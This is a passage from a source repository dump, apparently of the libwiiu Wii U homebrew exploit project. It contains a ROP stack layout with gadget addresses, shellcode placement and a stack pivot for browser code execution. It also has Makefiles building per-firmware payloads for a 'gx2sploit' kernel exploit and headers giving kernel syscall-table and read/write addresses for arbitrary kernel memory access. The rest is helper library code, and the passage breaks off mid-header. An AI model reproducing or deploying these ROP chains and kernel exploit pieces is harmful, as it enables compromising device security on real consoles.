0x0E0D595C 64 | 0x53C - OSSwitchSecCodeGenMode() 0x01032180 65 | 0x540 - memcpy() 0x01030ee4 66 | 0x544 - DCFlushRange() 0x01020eac 67 | 0x548 - ICInvalidateRange() 0x01020fd4 68 | 0x54C - Stack pivot gadget 0x0E3B09A4 69 | -------------------------------------------------------------------------------- /framework/stack/stack500.txt: -------------------------------------------------------------------------------- 1 | 0x0C - ROP gadget #1 (at the start, r1 is at offset 0x08) 0x0DC80E30 2 | 0x14 - Buffer address 0x1dd7b814 3 | 0x18 - r30 4 | 0x1C - 0 0x0 5 | 6 | 0x24 - ROP gadget #2 (at the start, r1 is at offset 0x20) 0x0E58D618 7 | 8 | 0x2C - ROP gadget #3 (at the start, r1 is at offset 0x28) 0x0E0F83C0 9 | 0x60 - Shellcode length 0x8000 10 | 0x7C - Buffer address + 4 0x1dd7b818 11 | 0x80 - r30 12 | 0x88 - JIT address 0x01800000 13 | 14 | 0x8C - ROP gadget #4 (at the start, r1 is at offset 0x88) 0x0E0E5114 15 | 0x90 - r3 16 | 0x94 - Shellcode address 0x1e832018 0x1dd7b9c4 17 | 0xB8 - r30 18 | 0xBC - JIT address 0x01800000 19 | 20 | 0xC4 - ROP gadget #5 (at the start, r1 is at offset 0xC0) 0x0E58D618 21 | 22 | 0xCC - ROP gadget #6 (at the start, r1 is at offset 0xC8) 0x0DC80E30 23 | 0xD4 - Buffer address + 8 0x1dd7b81c 24 | 0xD8 - r30 25 | 0xDC - JIT address 0x01800000 26 | 27 | 0xE4 - ROP gadget #7 (at the start, r1 is at offset 0xE0) 0x0E0E5114 28 | 0xE8 - r3 29 | 0xEC - Shellcode length 0x8000 30 | 0x110 - r30 31 | 0x114 - JIT address 0x01800000 32 | 33 | 0x11C - ROP gadget #8 (at the start, r1 is at offset 0x118) 0x0E58D618 34 | 35 | 0x124 - ROP gadget #9 (at the start, r1 is at offset 0x120) 0x0DC80E30 36 | 0x12C - Buffer address + 12 0x1dd7b820 37 | 0x130 - r30 38 | 0x134 - JIT address 0x01800000 39 | 40 | 0x13C - ROP gadget #10 (at the start, r1 is at offset 0x138) 0x0E0E5114 41 | 0x140 - r3 42 | 0x144 - Shellcode length 0x8000 43 | 0x168 - r30 44 | 0x16C - JIT address 0x01800000 45 | 46 | 0x174 - ROP gadget #11 (at the start, r1 is at offset 0x170) 0x0E58D618 47 | 48 | 0x17C - ROP gadget #12 (at the start, r1 is at offset 0x178) 0x0DC80E30 49 | 0x184 - Buffer address 0x1dd7b814 50 | 0x188 - r30 51 | 0x18C - 1 0x1 52 | 53 | 0x194 - ROP gadget #13 (at the start, r1 is at offset 0x190) 0x0E58D618 54 | 55 | 0x19C - ROP gadget #14 (at the start, r1 is at offset 0x198) 0x01800000 56 | 57 | 0x1B0 - Shellcode 58 | 59 | 0x4FC - Function epilogue gadget 0x0DC80440 60 | 0x500 - Function epilogue gadget 0x0DC80440 61 | 0x504 - Function epilogue gadget 0x0DC80440 62 | 0x508 - Function epilogue gadget 0x0DC80440 63 | 0x50C - Function epilogue gadget 0x0DC80440 64 | 0x53C - OSSwitchSecCodeGenMode() 0x01036724 65 | 0x540 - memcpy() 0x01035460 66 | 0x544 - DCFlushRange() 0x01023A00 67 | 0x548 - ICInvalidateRange() 0x01023B28 68 | 0x54C - Stack pivot gadget 0x0F85FE0C 69 | -------------------------------------------------------------------------------- /kernel/gx2sploit/Makefile: -------------------------------------------------------------------------------- 1 | CC=powerpc-eabi-gcc 2 | CFLAGS=-std=gnu99 -nostdinc -fno-builtin -c 3 | LD=powerpc-eabi-ld 4 | LDFLAGS=-Ttext 1800000 --oformat binary 5 | project := src 6 | override CURDIR:=$(shell cygpath -m $(CURDIR)) 7 | root:=$(CURDIR) 8 | build := $(root)/bin 9 | libs := $(root)/../../libwiiu/bin 10 | www :=$(root)/../../www 11 | framework:=$(root)/../../framework 12 | all: setup main540 main532 main500 main410 main400 main310 main300 main210 main200 13 | setup: 14 | mkdir -p $(root)/bin/ 15 | main540: 16 | $(CC) $(CFLAGS) -DVER=540 $(project)/*.c 17 | #-Wa,-a,-ad 18 | cp -r $(root)/*.o $(build) 19 | rm $(root)/*.o 20 | $(LD) $(LDFLAGS) -o $(build)/code540.bin $(build)/loader.o $(libs)/532/*.o `find $(build) -name "*.o" ! -name "loader.o"` 21 | main532: 22 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 23 | #-Wa,-a,-ad 24 | cp -r $(root)/*.o $(build) 25 | rm $(root)/*.o 26 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o $(libs)/532/*.o `find $(build) -name "*.o" ! -name "loader.o"` 27 | main500: 28 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 29 | #-Wa,-a,-ad 30 | cp -r $(root)/*.o $(build) 31 | rm $(root)/*.o 32 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o $(libs)/500/*.o `find $(build) -name "*.o" ! -name "loader.o"` 33 | main410: 34 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 35 | #-Wa,-a,-ad 36 | cp -r $(root)/*.o $(build) 37 | rm $(root)/*.o 38 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o $(libs)/410/*.o `find $(build) -name "*.o" ! -name "loader.o"` 39 | main400: 40 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 41 | #-Wa,-a,-ad 42 | cp -r $(root)/*.o $(build) 43 | rm $(root)/*.o 44 | $(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o $(libs)/400/*.o `find $(build) -name "*.o" ! -name "loader.o"` 45 | main310: 46 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 47 | #-Wa,-a,-ad 48 | cp -r $(root)/*.o $(build) 49 | rm $(root)/*.o 50 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o $(libs)/310/*.o `find $(build) -name "*.o" ! -name "loader.o"` 51 | main300: 52 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 53 | #-Wa,-a,-ad 54 | cp -r $(root)/*.o $(build) 55 | rm $(root)/*.o 56 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o $(libs)/300/*.o `find $(build) -name "*.o" ! -name "loader.o"` 57 | main210: 58 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 59 | #-Wa,-a,-ad 60 | cp -r $(root)/*.o $(build) 61 | rm $(root)/*.o 62 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o $(libs)/210/*.o `find $(build) -name "*.o" ! -name "loader.o"` 63 | main200: 64 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 65 | #-Wa,-a,-ad 66 | cp -r $(root)/*.o $(build) 67 | rm $(root)/*.o 68 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o $(libs)/200/*.o `find $(build) -name "*.o" ! -name "loader.o"` 69 | clean: 70 | rm -r $(build)/* 71 | -------------------------------------------------------------------------------- /kernel/gx2sploit/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | #include "../../../libwiiu/src/socket.h" 6 | #include "../../../libwiiu/src/uhs.h" 7 | #include "../../../libwiiu/src/types.h" 8 | 9 | /* Gadget finding addresses */ 10 | #define JIT_ADDRESS 0x01800000 11 | #if VER == 300 12 | #define CODE_ADDRESS_START 0x0E000000 13 | #define CODE_ADDRESS_END 0x10000000 14 | #else 15 | #define CODE_ADDRESS_START 0x0D800000 16 | #define CODE_ADDRESS_END 0x0F848A0C 17 | #endif 18 | 19 | /* Kernel addresses, stolen from Chadderz */ 20 | #define KERN_HEAP 0xFF200000 21 | #define KERN_HEAP_PHYS 0x1B800000 22 | #if VER == 200 23 | #define KERN_SYSCALL_TBL 0x0 24 | #define KERN_CODE_READ 0x0 25 | #define KERN_CODE_WRITE 0x0 26 | #define KERN_DRVPTR 0x0 27 | #define KERN_ADDRESS_TBL ((uint32_t*)0x0) 28 | #elif VER == 210 29 | #define KERN_SYSCALL_TBL 0x0 30 | #define KERN_CODE_READ 0x0 31 | #define KERN_CODE_WRITE 0x0 32 | #define KERN_DRVPTR 0x0 33 | #define KERN_ADDRESS_TBL ((uint32_t*)0x0) 34 | #elif VER == 300 35 | #define KERN_SYSCALL_TBL 0xFFE85950 36 | #define KERN_CODE_READ 0xFFF02214 37 | #define KERN_CODE_WRITE 0xFFF02234 38 | #define KERN_DRVPTR 0x0 39 | #define KERN_ADDRESS_TBL ((uint32_t*)0xFFEB66E4) 40 | #elif VER == 310 41 | #define KERN_SYSCALL_TBL 0x0 42 | #define KERN_CODE_READ 0x0 43 | #define KERN_CODE_WRITE 0x0 44 | #define KERN_DRVPTR 0x0 45 | #define KERN_ADDRESS_TBL ((uint32_t*)0x0) 46 | #elif VER == 400 47 | #define KERN_SYSCALL_TBL 0x0 48 | #define KERN_CODE_READ 0x0 49 | #define KERN_CODE_WRITE 0x0 50 | #define KERN_DRVPTR 0x0 51 | #define KERN_ADDRESS_TBL ((uint32_t*)0x0) 52 | #elif VER == 410 53 | #define KERN_SYSCALL_TBL 0xffe85890 54 | #define KERN_CODE_READ 0xfff02214 55 | #define KERN_CODE_WRITE 0xfff02234 56 | #define KERN_DRVPTR 0x0 57 | #define KERN_ADDRESS_TBL ((uint32_t*)0xffeb902c) 58 | #elif VER == 500 59 | #define KERN_SYSCALL_TBL 0xffea9520 60 | #define KERN_CODE_READ 0xfff021f4 61 | #define KERN_CODE_WRITE 0xfff02214 62 | #define KERN_DRVPTR 0x0 63 | #define KERN_ADDRESS_TBL ((uint32_t*)0xffea9e4c) 64 | #elif (VER == 532) || (VER == 540) 65 | #define KERN_SYSCALL_TBL 0xFFEAA0E0 66 | #define KERN_CODE_READ 0xFFF02274 67 | #define KERN_CODE_WRITE 0xFFF02294 68 | #define KERN_DRVPTR 0xFFEAA7A0 69 | #define KERN_ADDRESS_TBL ((uint32_t*)0xFFEAAA10) 70 | #elif VER == 550 71 | #define KERN_SYSCALL_TBL 0xFFEAAE60 72 | #define KERN_CODE_READ 0xFFF023D4 73 | #define KERN_CODE_WRITE 0xFFF023F4 74 | #define KERN_DRVPTR 0xFFEAB530 75 | #define KERN_ADDRESS_TBL ((uint32_t*)0xFFEAB7A0) 76 | #else 77 | #error "Unsupported Wii U software version" 78 | #endif 79 | 80 | /* Kernel heap constants */ 81 | #define STARTID_OFFSET 0x08 82 | #define METADATA_OFFSET 0x14 83 | #define METADATA_SIZE 0x10 84 | 85 | /* Application start */ 86 | void _start(); 87 | 88 | /* Find a ROP gadget by a sequence of bytes */ 89 | void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start); 90 | 91 | /* Arbitrary read and write syscalls */ 92 | uint32_t kern_read(const void *addr); 93 | void kern_write(void *addr, uint32_t value); 94 | 95 | #endif /* LOADER_H */ 96 | -------------------------------------------------------------------------------- /kernel/osdriver/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -std=gnu99 -nostdinc -fno-builtin -fno-toplevel-reorder -c -Os 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 1800000 --oformat binary -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 -lgcc 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main540: 20 | make main FIRMWARE=532 21 | 22 | main532: 23 | make main FIRMWARE=532 24 | 25 | main500: 26 | make main FIRMWARE=500 27 | 28 | main410: 29 | make main FIRMWARE=410 30 | 31 | main400: 32 | make main FIRMWARE=400 33 | 34 | main310: 35 | make main FIRMWARE=310 36 | 37 | main300: 38 | make main FIRMWARE=300 39 | 40 | main210: 41 | make main FIRMWARE=210 42 | 43 | main200: 44 | make main FIRMWARE=200 45 | 46 | main: 47 | $(CC) $(CFLAGS) -DVER=$(FIRMWARE) $(project)/*.c 48 | cp -r $(root)/*.o $(build) 49 | rm $(root)/*.o 50 | $(LD) -o $(build)/code$(FIRMWARE).bin $(build)/loader.o $(libs)/$(FIRMWARE)/*.o `find $(build) -name "*.o" ! -name "loader.o"` $(LDFLAGS) 51 | 52 | clean: 53 | rm -r $(build)/* 54 | -------------------------------------------------------------------------------- /kernel/osdriver/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/types.h" 5 | #include "../../../libwiiu/src/coreinit.h" 6 | #include "../../../libwiiu/src/socket.h" 7 | #include "../../../libwiiu/src/draw.h" 8 | 9 | /* Wait times for CPU0 and CPU2 */ 10 | #define CPU0_WAIT_TIME 80 11 | #define CPU2_WAIT_TIME 92 12 | 13 | /* Gadget finding addresses */ 14 | #define JIT_ADDRESS 0x01800000 15 | #if (VER == 300 || VER == 310) 16 | #define CODE_ADDRESS_START 0x0E000000 17 | #define CODE_ADDRESS_END 0x10000000 18 | #else 19 | #define CODE_ADDRESS_START 0x0D800000 20 | #define CODE_ADDRESS_END 0x0F848A0C 21 | #endif 22 | 23 | /* Kernel addresses, for each new kernel */ 24 | #if VER == 200 25 | #define KERN_SYSCALL_TBL 0xFFE85910 26 | #define KERN_CODE_READ 0xFFF02214 27 | #define KERN_CODE_WRITE 0xFFF02234 28 | #define KERN_ADDRESS_TBL 0xFFEB4E00 29 | #define KERN_HEAP 0xFF200000 30 | #elif VER == 210 31 | #define KERN_SYSCALL_TBL 0xFFE85910 32 | #define KERN_CODE_READ 0xFFF02214 33 | #define KERN_CODE_WRITE 0xFFF02234 34 | #define KERN_ADDRESS_TBL 0xFFEB4E40 35 | #define KERN_HEAP 0xFF200000 36 | #elif VER == 300 37 | #define KERN_SYSCALL_TBL 0xFFE85950 38 | #define KERN_CODE_READ 0xFFF02214 39 | #define KERN_CODE_WRITE 0xFFF02234 40 | #define KERN_ADDRESS_TBL 0xFFEB66E4 41 | #define KERN_HEAP 0xFF200000 42 | #elif VER == 310 43 | #define KERN_SYSCALL_TBL 0xFFE85950 44 | #define KERN_CODE_READ 0xFFF02214 45 | #define KERN_CODE_WRITE 0xFFF02234 46 | #define KERN_ADDRESS_TBL 0xFFEB66E4 47 | #define KERN_HEAP 0xFF200000 48 | #elif VER == 400 49 | #define KERN_SYSCALL_TBL 0xFFE85890 50 | #define KERN_CODE_READ 0xFFF02214 51 | #define KERN_CODE_WRITE 0xFFF02234 52 | #define KERN_ADDRESS_TBL 0xFFEB7E5C 53 | #define KERN_HEAP 0xFF200000 54 | #elif VER == 410 55 | #define KERN_SYSCALL_TBL 0xffe85890 56 | #define KERN_CODE_READ 0xfff02214 57 | #define KERN_CODE_WRITE 0xfff02234 58 | #define KERN_ADDRESS_TBL 0xffeb902c 59 | #define KERN_HEAP 0xFF200000 60 | #elif VER == 500 61 | #define KERN_SYSCALL_TBL 0xffea9520 62 | #define KERN_CODE_READ 0xfff021f4 63 | #define KERN_CODE_WRITE 0xfff02214 64 | #define KERN_ADDRESS_TBL 0xffea9e4c 65 | #define KERN_HEAP 0xFF200000 66 | #elif VER == 532 67 | #define KERN_SYSCALL_TBL 0xFFEAA0E0 68 | #define KERN_CODE_READ 0xFFF02274 69 | #define KERN_CODE_WRITE 0xFFF02294 70 | #define KERN_ADDRESS_TBL 0xFFEAAA10 71 | #define KERN_HEAP 0xFF200000 72 | #else 73 | #error "Unsupported Wii U software version" 74 | #endif 75 | 76 | /* Browser PFID */ 77 | #define PFID_BROWSER 8 78 | 79 | /* Size of a Cafe OS thread */ 80 | #define OSTHREAD_SIZE 0x1000 81 | 82 | void _start(); 83 | 84 | /* Find a ROP gadget by a sequence of bytes */ 85 | void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start); 86 | 87 | /* Arbitrary read and write syscalls */ 88 | uint32_t __attribute__ ((noinline)) kern_read(const void *addr); 89 | void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value); 90 | 91 | #endif /* LOADER_H */ 92 | -------------------------------------------------------------------------------- /libwiiu/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -nostdinc -fno-builtin -c 5 | root := . 6 | project := $(root)/src 7 | build := $(root)/bin 8 | 9 | all: setup libwiiu550 libwiiu532 libwiiu500 libwiiu410 libwiiu400 libwiiu310 libwiiu300 libwiiu210 libwiiu200 10 | 11 | setup: 12 | mkdir -p $(root)/bin/550/ 13 | mkdir -p $(root)/bin/532/ 14 | mkdir -p $(root)/bin/500/ 15 | mkdir -p $(root)/bin/410/ 16 | mkdir -p $(root)/bin/400/ 17 | mkdir -p $(root)/bin/310/ 18 | mkdir -p $(root)/bin/300/ 19 | mkdir -p $(root)/bin/210/ 20 | mkdir -p $(root)/bin/200/ 21 | 22 | libwiiu550: 23 | $(CC) $(CFLAGS) -DVER=550 $(project)/*.c 24 | #-Wa,-a,-ad 25 | cp -r $(root)/*.o $(build)/550 26 | rm $(root)/*.o 27 | 28 | libwiiu532: 29 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 30 | #-Wa,-a,-ad 31 | cp -r $(root)/*.o $(build)/532 32 | rm $(root)/*.o 33 | 34 | libwiiu500: 35 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 36 | #-Wa,-a,-ad 37 | cp -r $(root)/*.o $(build)/500 38 | rm $(root)/*.o 39 | 40 | libwiiu410: 41 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 42 | #-Wa,-a,-ad 43 | cp -r $(root)/*.o $(build)/410 44 | rm $(root)/*.o 45 | 46 | libwiiu400: 47 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 48 | #-Wa,-a,-ad 49 | cp -r $(root)/*.o $(build)/400 50 | rm $(root)/*.o 51 | 52 | libwiiu310: 53 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 54 | #-Wa,-a,-ad 55 | cp -r $(root)/*.o $(build)/310 56 | rm $(root)/*.o 57 | 58 | libwiiu300: 59 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 60 | #-Wa,-a,-ad 61 | cp -r $(root)/*.o $(build)/300 62 | rm $(root)/*.o 63 | 64 | libwiiu210: 65 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 66 | #-Wa,-a,-ad 67 | cp -r $(root)/*.o $(build)/210 68 | rm $(root)/*.o 69 | 70 | libwiiu200: 71 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 72 | #-Wa,-a,-ad 73 | cp -r $(root)/*.o $(build)/200 74 | rm $(root)/*.o 75 | 76 | clean: 77 | rm -r $(build)/550/* $(build)/532/* $(build)/500/* $(build)/410/* $(build)/400/* $(build)/310/* $(build)/300/* $(build)/210/* $(build)/200/* 78 | -------------------------------------------------------------------------------- /libwiiu/src/coreinit.h: -------------------------------------------------------------------------------- 1 | #ifndef COREINIT_H 2 | #define COREINIT_H 3 | 4 | #include "types.h" 5 | 6 | #if (VER==200) 7 | #define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x010220AC) 8 | #define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x01022D98) 9 | #define OSFatal ((void (*)(char* msg))0x01027688) 10 | #define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x01025FB4) 11 | #elif (VER==210) 12 | #define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102232C) 13 | #define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x01023018) 14 | #define OSFatal ((void (*)(char* msg))0x01027908) 15 | #define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x01026014) 16 | #elif (VER==300) | (VER==310) 17 | #define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x01022CBC) 18 | #define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x01023D88) 19 | #define OSFatal ((void (*)(char* msg))0x01028A68) 20 | #define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x01027390) 21 | #elif (VER==400) | (VER==410) 22 | #define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x01026e60) 23 | #define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x01028460) 24 | #define OSFatal ((void (*)(char* msg))0x0102D01C) 25 | #define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102b9ac) 26 | #elif VER==500 27 | #define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x01029F70) 28 | #define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B3E4) 29 | #define OSFatal ((void (*)(char* msg))0x01030ECC) 30 | #define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102ECE0) 31 | #elif (VER==532) | (VER==540) 32 | #define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x102a31c) 33 | #define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x102b790) 34 | #define OSFatal ((void (*)(char* msg))0x1031368) 35 | #define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x102f09c) 36 | #elif VER==550 37 | #define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4) 38 | #define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828) 39 | #define OSFatal ((void (*)(char* msg))0x01031618) 40 | #define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160) 41 | #else 42 | #error "Unsupported Wii U software version" 43 | #endif 44 | 45 | /* ioctlv() I/O vector */ 46 | struct iovec 47 | { 48 | void *buffer; 49 | int len; 50 | char unknown8[0xc-0x8]; 51 | }; 52 | 53 | typedef struct OSContext 54 | { 55 | /* OSContext identifier */ 56 | uint32_t tag1; 57 | uint32_t tag2; 58 | 59 | /* GPRs */ 60 | uint32_t gpr[32]; 61 | 62 | /* Special registers */ 63 | uint32_t cr; 64 | uint32_t lr; 65 | uint32_t ctr; 66 | uint32_t xer; 67 | 68 | /* Initial PC and MSR */ 69 | uint32_t srr0; 70 | uint32_t srr1; 71 | } OSContext; 72 | 73 | #endif /* COREINIT_H */ -------------------------------------------------------------------------------- /libwiiu/src/draw.h: -------------------------------------------------------------------------------- 1 | #ifndef DRAW_H 2 | #define DRAW_H 3 | #include "coreinit.h" 4 | #include "types.h" 5 | //Function declarations for my graphics library 6 | void flipBuffers(); 7 | void fillScreen(char r, char g, char b, char a); 8 | void drawString(int x, int line, char * string); 9 | void drawPixel(int x, int y, char r, char g, char b, char a); 10 | void drawLine(int x1, int y1, int x2, int y2, char r, char g, char b, char a); 11 | void drawRect(int x1, int y1, int x2, int y2, char r, char g, char b, char a); 12 | void drawFillRect(int x1, int y1, int x2, int y2, char r, char g, char b, char a); 13 | void drawCircle(int xCen, int yCen, int radius, char r, char g, char b, char a); 14 | void drawFillCircle(int xCen, int yCen, int radius, char r, char g, char b, char a); 15 | void drawCircleCircum(int cx, int cy, int x, int y, char r, char g, char b, char a); 16 | #endif /* DRAW_H */ -------------------------------------------------------------------------------- /libwiiu/src/exception_handler.h: -------------------------------------------------------------------------------- 1 | #ifndef EXCEPTION_HANDLER_H 2 | #define EXCEPTION_HANDLER_H 3 | #include "coreinit.h" 4 | void exception_disassembly_helper(char *fmt, int addr,int opcode, char* s) 5 | { 6 | char* *store = (char*)0x1ab5d140; 7 | char *buffer = (char *)store[0]; 8 | store[0] += __os_snprintf(buffer,512,fmt, addr,opcode,s); 9 | } 10 | /* Exception callback */ 11 | char exception_handler(int *context) 12 | { 13 | /* Get a handle to coreinit.rpl */ 14 | unsigned int coreinit_handle; 15 | OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); 16 | void (*DisassemblePPCRange)(void *start, void *end, void *printf_func, int *find_symbol_func, int flags); 17 | OSDynLoad_FindExport(coreinit_handle, 0, "DisassemblePPCRange", &DisassemblePPCRange); 18 | char buffer2[512]; 19 | int *store = (int *)0x1ab5d140; 20 | store[0] = (int)buffer2; 21 | char buffer[1024]; 22 | DisassemblePPCRange(context[38]-0x10,context[38]+0x10,exception_disassembly_helper,0,0); 23 | __os_snprintf(buffer, 1024, 24 | "r0 :%08X r1 :%08X r2 :%08X r3 :%08X r4 :%08X \nr5 :%08X r6 :%08X r7 :%08X r8 :%08X r9 :%08X \nr10:%08X r11:%08X r12:%08X r13:%08X r14:%08X \nr15:%08X r16:%08X r17:%08X r18:%08X r19:%08X \nr20:%08X r21:%08X r22:%08X r23:%08X r24:%08X \nr25:%08X r26:%08X r27:%08X r28:%08X r29:%08X \nr30:%08X r31:%08X \nCR :%08X LR :%08X CTR:%08X XER:%08X\nSSR0:%08X SSR1:%08X EX0:%08X EX1:%08X\n%s", 25 | context[2], 26 | context[3], 27 | context[4], 28 | context[5], 29 | context[6], 30 | context[7], 31 | context[8], 32 | context[9], 33 | context[10], 34 | context[11], 35 | context[12], 36 | context[13], 37 | context[14], 38 | context[15], 39 | context[16], 40 | context[17], 41 | context[18], 42 | context[19], 43 | context[20], 44 | context[21], 45 | context[22], 46 | context[23], 47 | context[24], 48 | context[25], 49 | context[26], 50 | context[27], 51 | context[28], 52 | context[29], 53 | context[30], 54 | context[31], 55 | context[32], 56 | context[33], 57 | context[34], 58 | context[35], 59 | context[36], 60 | context[37], 61 | context[38], 62 | context[39], 63 | context[40], 64 | context[41], 65 | buffer2 66 | ); 67 | 68 | if(true) 69 | { 70 | 71 | OSFatal(buffer); 72 | } 73 | else 74 | { 75 | 76 | 77 | } 78 | 79 | return 0; 80 | } 81 | void install_exception_handler_global() 82 | { 83 | 84 | unsigned int coreinit_handle = 0; 85 | OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); 86 | char (*OSSetExceptionCallbackEx)(unsigned char t,unsigned char et, char (*callback)(int*)); 87 | OSDynLoad_FindExport(coreinit_handle, 0, "OSSetExceptionCallbackEx", &OSSetExceptionCallbackEx); 88 | OSSetExceptionCallbackEx(4,2, &exception_handler); 89 | OSSetExceptionCallbackEx(4,3, &exception_handler); 90 | OSSetExceptionCallbackEx(4,6, &exception_handler); 91 | 92 | } 93 | void install_exception_handler() 94 | { 95 | unsigned int coreinit_handle = 0; 96 | OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); 97 | /* OS exception functions */ 98 | char (*OSSetExceptionCallback)(unsigned char et, char (*callback)(int*)); 99 | /* Read the address of OSSetExceptionCallback() */ 100 | OSDynLoad_FindExport(coreinit_handle, 0, "OSSetExceptionCallback", &OSSetExceptionCallback); 101 | OSSetExceptionCallback(2, &exception_handler); 102 | OSSetExceptionCallback(3, &exception_handler); 103 | OSSetExceptionCallback(6, &exception_handler); 104 | } 105 | 106 | #endif /* EXCEPTION_HANDLER_H */ -------------------------------------------------------------------------------- /libwiiu/src/math.c: -------------------------------------------------------------------------------- 1 | #include "math.h" 2 | 3 | long abs(long value) { 4 | if (value < 0) { 5 | return -value; 6 | } 7 | else { 8 | return value; 9 | } 10 | } -------------------------------------------------------------------------------- /libwiiu/src/math.h: -------------------------------------------------------------------------------- 1 | #ifndef MATH_H 2 | #define MATH_H 3 | 4 | long abs(long value); 5 | 6 | #endif /* MATH_H */ -------------------------------------------------------------------------------- /libwiiu/src/socket.h: -------------------------------------------------------------------------------- 1 | #define AF_INET 2 2 | #define SOCK_STREAM 1 3 | #define IPPROTO_TCP 6 4 | 5 | struct in_addr 6 | { 7 | unsigned long s_addr; 8 | }; 9 | 10 | struct sockaddr 11 | { 12 | unsigned short sin_family; 13 | unsigned short sin_port; 14 | struct in_addr sin_addr; 15 | char sin_zero[8]; 16 | }; 17 | 18 | /* IP address of the RPC client (in this case, 192.168.1.169) */ 19 | #define PC_IP ( (192<<24) | (168<<16) | (1<<8) | (169<<0) ) 20 | -------------------------------------------------------------------------------- /libwiiu/src/string.c: -------------------------------------------------------------------------------- 1 | #include "string.h" 2 | 3 | int strlen(const char *str) 4 | { 5 | const char *s; 6 | 7 | for (s = str; *s; ++s) 8 | ; 9 | return (s - str); 10 | } -------------------------------------------------------------------------------- /libwiiu/src/string.h: -------------------------------------------------------------------------------- 1 | #ifndef STRING_H 2 | #define STRING_H 3 | 4 | int strlen(const char *str); 5 | 6 | #endif /* STRING_H*/ -------------------------------------------------------------------------------- /libwiiu/src/types.h: -------------------------------------------------------------------------------- 1 | #ifndef TYPES_H 2 | #define TYPES_H 3 | 4 | typedef unsigned long long uint64_t; 5 | typedef long long int64_t; 6 | typedef unsigned int uint32_t; 7 | typedef int int32_t; 8 | typedef unsigned short uint16_t; 9 | typedef short int16_t; 10 | typedef unsigned char uint8_t; 11 | typedef char int8_t; 12 | 13 | typedef uint32_t size_t; 14 | 15 | typedef _Bool bool; 16 | #define true 1 17 | #define false 0 18 | #define null 0 19 | 20 | #define NULL (void*)0 21 | 22 | #endif /* TYPES_H */ -------------------------------------------------------------------------------- /libwiiu/src/uhs.h: -------------------------------------------------------------------------------- 1 | #ifndef UHS_H 2 | #define UHS_H 3 | 4 | #include "types.h" 5 | #include "uhs_usbspec.h" 6 | 7 | /* Determines which interface parameters to check */ 8 | #define MATCH_ANY 0x000 9 | #define MATCH_DEV_VID 0x001 10 | #define MATCH_DEV_PID 